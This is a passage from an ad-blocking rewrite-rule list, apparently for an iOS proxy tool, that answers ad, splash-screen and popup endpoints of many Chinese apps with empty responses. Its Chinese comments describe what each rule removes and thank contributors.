梭哈】分享 +^https?:\/\/api\.cloud\.189\.cn\/guns\/(img\/recommendedPosition|getOpenscreenBanners) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = adm.10jqka.com.cn, iphone.ac.qq.com, stat.10jqka.com.cn +^https?:\/\/adm\.10jqka\.com\.cn\/interface\/ad\/recommend data-type=text data=" " status-code=200 + +# 同花顺至尊版 感谢【梭哈 All in】分享 +^https?:\/\/stat\.10jqka\.com\.cn\/q\?ld=mobile&id=ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/wx\.17u\.cn\/crapi\/query\/getAdImgUrlByCode data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/openscreen data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/getindexlayoutcelllist data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/tcmobileapi\.17usoft\.com\/appindexnew\/index\/gethotrecommend data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 景点界面轮播图和右下角悬浮窗 +^https:\/\/mobileapi\.ly\.com\/wlfrontend\/app\/scenicMain data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 租车界面 广告 +^https:\/\/wx\.17u\.cn\/crapi\/query\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 酒店界面广告 +^https:\/\/mobilehotelapi\.elong\.com\/appHotel\/adx\/advert\/getAdvert data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = m.tuniu.com +^https?:\/\/m\.tuniu\.com\/api\/operation\/splash\/ data-type=text data=" " status-code=200 + +# 首页悬浮窗广告 +^https?:\/\/mkt-gateway\.tuhu\.cn\/mkt-scene-marketing-service\/api\/scene\/queryScheme data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 需要卸载重装 +^https?:\/\/client\.tujia\.com\/bnbapp-node data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = mrobot.pconline.com.cn, mrobot.pcauto.com.cn, agent-count.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s\/onlineinfo\/ad\/ data-type=text data=" " status-code=200 + +# hostname = mrobot.pconline.com.cn +^https?:\/\/mrobot\.pconline\.com\.cn\/s-900\/onlineinfo\/cms\/launch data-type=text data=" " status-code=200 + +# hostname = acs.m.taobao.com, guide-acs.m.taobao.com, poplayer.template.alibaba.com +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alibaba\.advertisementservice\.getadv data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimama\.etao\.config\.query\/.+?etao_advertise data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.alimusic\.common\.mobileservice\.startinit data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.etao\.noah\.query\/.+tao_splash data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.film\.mtopadvertiseapi\.queryadvertise data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.o2o\.ad\.gateway\.get data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.taobao\.idle\.home\.welcome data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/acs\.m\.taobao\.com\/gw\/mtop\.trip\.activity\.querytmsresources data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/guide-acs\.m\.taobao\.com\/gw\/mtop\.taobao\.(volvo\.secondfloor\.getconfig|wireless\.home\.newface\.awesome\.get) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = 4gimg.map.qq.com +^https?:\/\/4gimg\.map\.qq\.com\/mwaSplash\/ data-type=text data=" " status-code=200 + +# 去开屏广告 需要重装 +^https?:\/\/m\.pvp\.xoyo\.com\/conf\/server-mapping data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/ads\.zhinengxiyifang\.cn\/api\/v1\.1\/ads\/* data-type=text data=" " status-code=200 + +# hostname = open3.vistastory.com +^https?:\/\/open3\.vistastory\.com\/v\d\/api\/inde/loading_ad data-type=text data=" " status-code=200 + +# hostname = overseas.weico.cc +^https?:\/\/overseas\.weico\.cc\/portal\.php\?a=get_coopen_ads data-type=text data=" " status-code=200 + +# 首页弹窗广告 +^https?:\/\/cds\.wifi188\.com\/feeds\.sec data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除banner广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/app-act\/act-list.+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除底部广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/content-recommend\/v\d\/get-by-uid.+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除悬浮广告 +^https?:\/\/recite\.perfectlingo\.com\/api\/recite\/floating-window\/v\d\/get-show.+ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 微信公众号去除商品推广 +^https?:\/\/mp\.weixin\.qq\.com\/mp\/cps_product_info\?action data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = c.m.163.com +^https?:\/\/c\.m\.163\.com\/nc\/gl\/ data-type=text data=" " status-code=200 + +# hostname = client.mail.163.com +^https?:\/\/client\.mail\.163\.com\/apptrack\/confinfo\/searchMultiAds data-type=text data=" " status-code=200 + +# hostname = easyreadfs.nosdn.127.net, p.du.163.com +^https?:\/\/easyreadfs\.nosdn\.127\.net\/ad-material\/ data-type=text data=" " status-code=200 + +^https?:\/\/p\.du\.163\.com\/ad\/ data-type=text data=" " status-code=200 + +# hostname = kaola-haitao.oss.kaolacdn.com, sp.kaola.com, gw.kaola.com +^https?:\/\/kaola-haitao\.oss\.kaolacdn.com\/.+?_\d{3,4}_\d{4}\.jpg\?x-oss-process=image\/resize,m_mfit,w_\d{3,4},h_\d{4}\/format,webp\/quality,Q_85 data-type=text data=" " status-code=200 + +^https?:\/\/sp\.kaola\.com\/api\/openad data-type=text data=" " status-code=200 + +# 屏蔽广告 +https?:\/\/(ipv4|interface\d?)\.music\.163.com\/e?api\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 今日运势 商城 Beat专区 音乐收藏家 | type:ACTIVITY | 低至5.2折 +^https?:\/\/interface\d?\.music\.163\.com\/w?e?api\/(side-bar\/mini-program\/music-service\/account|delivery\/(batch-deliver|deliver)|moment\/tab\/info\/get|yunbei\/account\/entrance\/get) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放页歌名下方∶乐迷团|关注|播放页提示|音乐应用红点|播放提示 +^https?:\/\/interface\d?\.music\.163\.com\/eapi\/(resource\/comments?\/musiciansaid|community\/friends\/fans-group\/artist\/group\/get|user\/sub\/artist|music\/songshare\/text\/recommend\/get|mine\/applet\/redpoint|resniche\/position\/play\/new\/get) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索页热搜卡片|猜你喜欢|我的应用下方提醒 +^https?:\/\/interface\d?\.music\.163.com\/w?e?api\/(search\/(chart|default|rcmd\/keyword|specialkeyword)|resource-exposure\/|activity\/bonus\/playpage\/time\/query) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/interface\d?\.music\.163.com\/eapi\/(mlivestream\/entrance\/playpage|link\/(position\/show\/strategy|scene\/show)|ios\/version|v\d\/content\/exposure\/comment\/banner) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = *.music.126.net, img1.126.net, www.icourse163.org, nex.163.com, g1.163.com, client.mail.163.com, c.m.163.com, interface*.music.163.com +^https?:\/\/p[^4](c)?\.music\.126\.net\/\w+==\/10995\d{13}\.jpg$ data-type=tiny-gif status-code=200 + +^https?:\/\/www.icourse163.org\/.*?(Advertisement) data-type=tiny-gif status-code=200 + +^https?:\/\/www\.icourse163\.org\/mob\/j\/v1\/mobRecommendRPCBean\.getMaxWeightAdvertisement\.rpc data-type=text data=" " status-code=200 + +^https?:\/\/interface3?\.music\.163\.com/eapi/(ad|abtest|sp|hot|store|mlog|search/(specialkeyword|defaultkeyword|hot)) data-type=tiny-gif status-code=200 + +# 我的页面 - 横幅广告、为你推荐、更多会员权益、精选活动 +^https:\/\/god\.gameyw\.netease\.com\/v\d\/app\/static\/conf\/getByModuleNameList$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 翻译广告 +^https?:\/\/dict\.youdao\.com\/course\/tab\/translateTab data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首次查词弹窗 +^https?:\/\/api-overmind\.youdao\.com\/openapi\/get\/luna\/dict\/dict-mobile\/prod\/dictCommonConfig data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页弹窗 +^https?:\/\/cdke\.youdao\.com\/course3\/recommend\/dict\/startup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索预想 +^https?:\/\/dict\.youdao\.com\/commonsearch data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 会员优惠券弹窗 +^https?:\/\/dict\.youdao\.com\/vip\/activity\/couponinfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页左上角福利中心 +^https?:\/\/dict\.youdao\.com\/dictusertask\/system data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 会员界面横幅广告 +^https?:\/\/dictvip-business\.youdao\.com\/home\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/oimage\w\d\.ydstatic\.com\/image\?.+?=adpublish data-type=tiny-gif status-code=200 + +^https?:\/\/dsp-impr2\.youdao\.com\/adload data-type=text data=" " status-code=200 + +^https?:\/\/impservice\.dictapp\.youdao\.com\/imp\/request data-type=tiny-gif status-code=200 + +^https?:\/\/oral\.youdao\.com\/oral\/adInfo data-type=tiny-gif status-code=200 + +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/emss-pfa-appset-front\/bootpageoutter\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/(?>csc|osg)-service\.sgcc\.com\.cn:\d+\/.*\/app_api\/selectInfoByCondition data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = thor.weidian.com +^https?:\/\/thor\.weidian\.com\/ares\/home\.splash data-type=text data=" " status-code=200 + +# hostname = api-release.wuta-cam.com, res-release.wuta-cam.com +^https?:\/\/api-release\.wuta-cam\.com\/ad_tree data-type=text data=" " status-code=200 + +# hostname = img.wukongtv.com +^https?:\/\/img\.wukongtv\.com\/wkremote\/AD\/iOS\/.*.(jpg|png|jpeg) data-type=text data=" " status-code=200 + +# hostname = img0*.benlailife.com +^https?:\/\/img0[1-9]{1}\.benlailife\.com\/AppHomePageImage\/upload\/files\/.*.jpg data-type=text data=" " status-code=200 + +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/advertisement\/get data-type=text data=" " status-code=200 + +# APP+小程序弹窗广告 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/layout\/productList\/eventData\/v data-type=text data=" " status-code=200 + +# 右下角悬浮窗,需手动关闭广告一次 +^https?:\/\/mapi\.appvipshop\.com\/vips-mobile\/rest\/activity\/coupon\/float_entrance\/get\?api_key data-type=text data=" " status-code=200 + +# hostname = qiye.gaoding.com +^https:\/\/qiye\.gaoding\.com\/api\/v3\/oc\/v2\/delivery-pits\/ios-splash\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.51credit.com +^https?:\/\/api\.51credit\.com\/app\/popup\/appPopup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.51credit\.com\/ks\/a\/list\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.51credit\.com\/bbs\/app\/api\/v\d\/topic\/chat data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = shopapi.io.mi.com +^https?:\/\/shopapi\.io\.mi\.com\/mtop\/mf\/resource\/homePage\/pageConfig data-type=text data=" " status-code=200 + +# hostname = api-mifit*.huami.com +^https?:\/\/api-mifit.+?\.huami\.com\/discovery\/mi\/discovery\/.+?_ad\? data-type=text data=" " status-code=200 + +# 去开屏 感谢【别怕我又不乱来】分享 +^https?:\/\/api-miprint\.hannto\.com\/v1\/c\/res\/app\/ad\/\?app_version data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 主页上方广告 +^https?:\/\/api\.indeedpower\.com\/v1\/m\/edu\/module\/homepage_banner\/\?randomStr data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.jr.mi.com +^https?:\/\/api\.jr\.mi\.com\/v\d\/adv\/ data-type=text data=" " status-code=200 + +^https?:\/\/api\.jr\.mi\.com\/jr\/api\/playScreen data-type=text data=" " status-code=200 + +^https?:\/\/(info\.mina\.xiaoaisound|marketing-aibox\.v\.mitvos)\.com\/popup data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = home.mi.com +^https?:\/\/home\.mi\.com\/cgi-op\/api\/v1\/recommendation\/(banner|carousel\/banners|myTab|openingBanner) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = upload-bbs.mihoyo.com +^https?:\/\/upload-bbs\.mihoyo\.com\/upload\/202[2-9]{1}\/[0-9]{2}\/[0-9]{2}\/[a-z0-9]{32}_[a-z0-9]{19}\.(jpg|png)$ data-type=text data=" " status-code=200 + +# hostname = api.xueqiu.com, open.xueqiu.com, stock.xueqiu.com, 39.103.79.14, 39.106.97.84, 47.95.49.75, 101.201.62.20, 101.201.62.26, 101.201.175.228, 124.250.48.3, 182.92.145.50, 182.92.251.113 +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&height=932 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+home_visitor_relation_config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=6&page=4 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/snowpard\/launch_strategy\/query\.json\?channel=1&location=0&model=1&page=(4|6) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/ucprofile\/api\/user\/batchGetUserBasicInfo\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/lightsnow\/launch\/plan\/bee\/query\.json\?channel=1&ip_label=&label_json=.+new_customer=1 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/lightsnow\/optional\/banner\/query\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/open\.xueqiu\.com\/mpaas\/config\/content\?.+cube_detail_bottom_operation_trade_button data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/zj_card\.json\?feed_id=207 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/recommend-proxy\/card\/portfolio_tab_symbol\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/stock\.xueqiu\.com\/v5\/stock\/group\/recommend\/default\/list\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.xueqiu\.com\/livestream\/structure\/live\/hotCard\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页会有一小部分图片误杀 +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20221[1-2]{1} data-type=text data=" " status-code=200 + +^https?:\/\/images\.cib\.com\.cn\/commons\/uploads\/commons\/[a-zA-Z0-9]{32}\.jpg\?ver=20230[1-9]{1} data-type=text data=" " status-code=200 + +# hostname = file.cibfintech.com +^https?:\/\/file\.cibfintech\.com\/file\/M0[1-9]{1}\/*\/*\/.*.zip data-type=tiny-gif status-code=200 + +# 开屏广告 感谢【打豆豆】分享 +^https?:\/\/app\.chinahxzq\.com\.cn:9302\/starway-api\/ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/app\.chinahxzq\.com\.cn\/starway\/adShow data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告+弹窗广告+横幅广告 +^https?:\/\/operationapi\.fosunhanig\.com\/ad\/v\d\/(PopupAdList|ScreenAdList|BannerList) data-type=text data=" " status-code=200 + +# hostname = images.client.vip.xunlei.com, api-shoulei-ssl.xunlei.com +^https?:\/\/images\.client\.vip\.xunlei\.com\/.+?\/advert\/ data-type=text data=" " status-code=200 + +^https?:\/\/api-shoulei-ssl\.xunlei\.com\/flowhub\/v\d\/slots:batchGet data-type=text data=" " status-code=200 + +# hostname = portal-xunyou.qingcdn.com +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/ads\/ data-type=text data=" " status-code=200 + +^https?:\/\/portal-xunyou\.qingcdn\.com\/api\/v\d\/ios\/configs\/(?>splash_ad|ad_urls) data-type=text data=" " status-code=200 + +# hostname = smarket.dian.so, file.dian.so +^https?:\/\/smarket\.dian\.so data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/file\.dian\.so\/c\/leto data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = xhtz.oss-cn-guangzhou.aliyuncs.com +^https?:\/\/xhtz.oss-cn-guangzhou\.aliyuncs\.com\/home\/member\/.+\.png$ data-type=text data=" " status-code=200 + +# 开屏广告 感谢【别人别我】分享 +^https?:\/\/shcss\.suning\.com\/shcss-web\/api\/appImage\/queryAppImage\.do data-type=text data=" " status-code=200 + +# 去除更新弹窗 +^https:\/\/spamblocker-api\.zeekstudio\.com\/profile data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/spamblocker-api\.zeekstudio\.com\/checkVersion data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.petkit.cn +^https?:\/\/api\.petkit\.cn\/6\/\/device\/relatedProductsInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 广告下发 +^https?:\/\/portal-portm\.meituan\.com\/horn_ios\/mergeRequest data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/mall\.meituan\.com\/api\/c\/homepage\/splash data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/flash- data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除ai总结 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/ai-summary data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 会员横幅设为不可点击 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/membership\/platform data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 移除小宇宙搜索框内容 +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/search\/get-(?>preset|express) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.xiaoyuzhoufm\.com\/v\d\/category\/list-daily-suggestion data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页面-猜你喜欢 +^https:\/\/mgesq\.api\.mgtv\.com\/v2\/goods\/guess_you_like data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的页面- +https://mgesq.api.mgtv.com/v2/user/center/icon data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 搜索排行榜单 +^https:\/\/mgesq\.api\.mgtv\.com\/search\/goods\/rank data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 底部按钮、我的页面左上角 +^https:\/\/mgesq\.api\.mgtv\.com\/user\/center\/config data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 去广告(这个域名其实已经在分流中拒绝) +^https?:\/\/zlsdk\.1rtb\.net\/sdk\/req_ad data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页横幅推广 +^https:\/\/web2\.realtech-inc\.com\/oss\/xc-app-assets\/configs\/common\/theme\.json data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https:\/\/sdk\.1rtb\.net\/sdk\/req_ad\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 更新弹窗 +^https:\/\/gw\.xiaocantech\.com\/g\/pa data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 多余模块 +^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/vajra data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = wcprd.hilton.com.cn +^https?:\/\/wcprd\.hilton\.com\.cn\/app-middleware\/graphql\?type=splashAd data-type=text data=" " status-code=200 + +# 开屏广告 需要卸载重装 感谢【别怕我又不乱来】分享 +^https?:\/\/cstore-en-public-tx\.seewo\.com\/easinote5_public data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = vapp.tmuyun.com +^https:\/\/vapp\.tmuyun\.com\/api\/app_start_page\/list\/new data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/vapp\.tmuyun\.com\/api\/buoy\/list data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_STARTUP data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页文字广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SLCC_IOS_DEVICE data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 发现页广告 +^https?:\/\/client-api-v2\.oray\.com\/materials\/SUNLOGIN_CLIENT_IOS_PROMOTION data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = bgw.xinyue.qq.com +^https?:\/\/bgw\.xinyue\.qq\.com\/xyapi\.PageService\/GetIndexPopFlash data-type=text data=" " status-code=200 + +# 优理宝(3秒倒计时,任意位置点一下即可跳过) +^https?:\/\/static.xyzq.cn\/image\/splash\/opera3.*.jpg data-type=text data=" " status-code=200 + +# hostname = static.api.m.panda.tv +^https?:\/\/static\.api\.m\.panda\.tv\/index\.php\?method=clientconf\.firstscreen&__version=(play_cnmb|(\d+\.){0,3}\d+)&__plat=ios&__channel=appstore data-type=tiny-gif status-code=200 + +# hostname = imeclient.openspeech.cn +^https?:\/\/imeclient\.openspeech\.cn\/adservice\/ data-type=text data=" " status-code=200 + +# 更新弹窗 APP降级8.40.0版本搭配去开屏广告规则,目前没有出现MITM失败等其他问题 如开启可自行添加主机名 m.ctrip.com +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/[0-9]{5}\/json\/getTimeZoneServerIpList\?__gw_os=IOS data-type=text data=" " status-code=200 + +# 8.47.0以上版本会有部分图片加载不出来 +^https?:\/\/m\.ctrip\.com\/restapi\/soa2\/13916\/json\/tripAds data-type=text data=" " status-code=200 + +# 去开屏 +^http?:\/\/.*\.pglstatp-toutiao\.com data-type=text data=" " status-code=200 + +^http:\/\/res1\.hubcloud\.com\.cn data-type=text data=" " status-code=200 + +# 搜索页面净化 +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.item\.search\.activate\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/acs\.m\.goofish\.com\/gw\/mtop\.taobao\.idlemtopsearch\.search\.discover\/ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = edit.sinaapp.com +^https?:\/\/edit\.sinaapp\.com\/ua\?t=adv data-type=text data=" " status-code=200 + +# 惊喜弹窗 +^https:\/\/edith\.xiaohongshu\.com\/api\/sns\/v1\/surprisebox\/(?:get_style|open|submit_action) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/www\.xiaohongshu\.com\/api\/marketing\/box\/trigger\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 信息流 +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/note\/guide\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/edith\.xiaohongshu\.com\/api\/sns\/v\d\/guide\/user_banner data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/www\.xiaohongshu\.com\/api\/sns\/(v\d\/ads\/resource|v\d\/hey\/\w+\/hey_gallery) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 评论区图片水印 +^https?:\/\/ci\.xiaohongshu\.com\/system_config\/watermark data-type=tiny-gif status-code=200 + +# 播放页广告 +^https:\/\/rr[\w-]+\.googlevideo\.com\/initplayback\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = patient-api.suh.cn, userpms-api.suh.cn +^https:\/\/userpms-api\.suh\.cn\/apt\/api\/bannar\/PageList\?sysSearchKey=sysPat&showSearchKey=advertising&pageIndex=1&pagesize=100&lanSearchValue=1&locationSearchKey=&status=1& data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/patient-api\.suh\.cn\/apt\/api\/userinfo\/GetNotice\?appname=pmsys&channel=6&device=ios&language=1&source=2&version= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 添加主机名后影响APP正常运行 +^https?:\/\/static.psbc.com:8090\/mbank_f\/images\/[0-9]+\.png data-type=text data=" " status-code=200 + +^https?:\/\/mcc.psbc.com:9090\/mcc\/resources\/[0-9]+\.(jpg|png) data-type=text data=" " status-code=200 + +# 邮储信用卡 +^https?:\/\/d\.psbc\.com:9091\/mcc\/resources\/[0-9]+\.(jpg|png|jpeg) data-type=text data=" " status-code=200 + +#开屏广告 +^https:\/\/ads\.ysepay\.com\/ads\/ctrl\/getAdvertisingInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 首页和我的横幅广告 +^https?:\/\/api\.winbull8\.com\/v1\/marketing\/(advert|activity)\/(list|page) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 我的横幅广告 +^https?:\/\/hz\.yxzq\.com\/news-configserver\/api\/v1\/query\/banner_advertisement data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 播放页弹窗动图 +^https?:\/\/acs\.youku\.com\/gw\/mtop\.youku\.(pisp\.scripts\.get|xspace\.play\.position\.preload\.query|xspace\.poplayer\.position\.query) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告,文章顶部广告 感谢【Ava阿檬】分享 +^https?:\/\/app02\.vgtime\.com:8080\/vgtime-app\/api\/v2\/init\/ad\.json$ data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = api.yonghuivip.com +^https?:\/\/api\.yonghuivip\.com\/web\/shensuan\/ad\/getAd data-type=text data=" " status-code=200 + +# 净化 感谢【TEXAS】分享 +^https?:\/\/api\.ulife\.group\/signintask\/adServing data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.ulife\.group\/auth\/account\/getUpgradeStrategy data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.ulife\.group\/market\/frontEntrance\/getThirdAdvertising\?displayPort=1&type=15 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.ulife\.group\/market\/memberCard\/listMemberCard\?isShowSecondaryCard=1 data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/api\.ulife\.group\/auth\/account\/entrance data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 感谢【finch.ftm】分享 +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/official_activity\/get_animation_putaway_list\?appkey.* data-type=text data=" " status-code=200 + +^https?:\/\/one-app-h5\.faw-vw\.com\/prod-api\/mobile\/one-app\/general\/public\/v1\/first_page\/get_carousel_list?appkey.* data-type=text data=" " status-code=200 + +^https?:\/\/app\.zhoudamozi\.com\/ad\/.+ data-type=text data=" " status-code=200 + +# hostname = app.yinxiang.com +^https?:\/\/app\.yinxiang\.com\/ads\/ data-type=text data=" " status-code=200 + +# hostname = api.ycapp.yiche.com, cheyouapi.ycapp.yiche.com +^https?:\/\/api\.ycapp\.yiche\.com\/appnews\/getadlist data-type=tiny-gif status-code=200 + +^https?:\/\/api\.ycapp\.yiche\.com\/yicheapp\/getadlist data-type=tiny-gif status-code=200 + +^https?:\/\/cheyouapi\.ycapp\.yiche\.com\/appforum\/getusermessagecount data-type=tiny-gif status-code=200 + +# 开屏广告 +^https?:\/\/a\.sinopecsales\.com\/app\/cms data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 底部横幅广告 +^https?:\/\/ocrifs\.ejoy\.sinopec\.com\/advertitfs\/advert\/findAdvertInfo data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/compus\.xiaofubao\.com\/compus\/advertising\/getStartupAdvertising data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = e-static.aia.com.cn +^https?:\/\/e-static\.aia\.com\.cn\/kyh\/resourcefolder\/ads data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# hostname = mobile-api2011.elong.com, webboot.zhangyue.com, saad.ms.zhangyue.net +^https?:\/\/mobile-api2011\.elong\.com\/ad(?>v|gateway) data-type=text data=" " status-code=200 + +# hostname = restapi.iyunmai.com 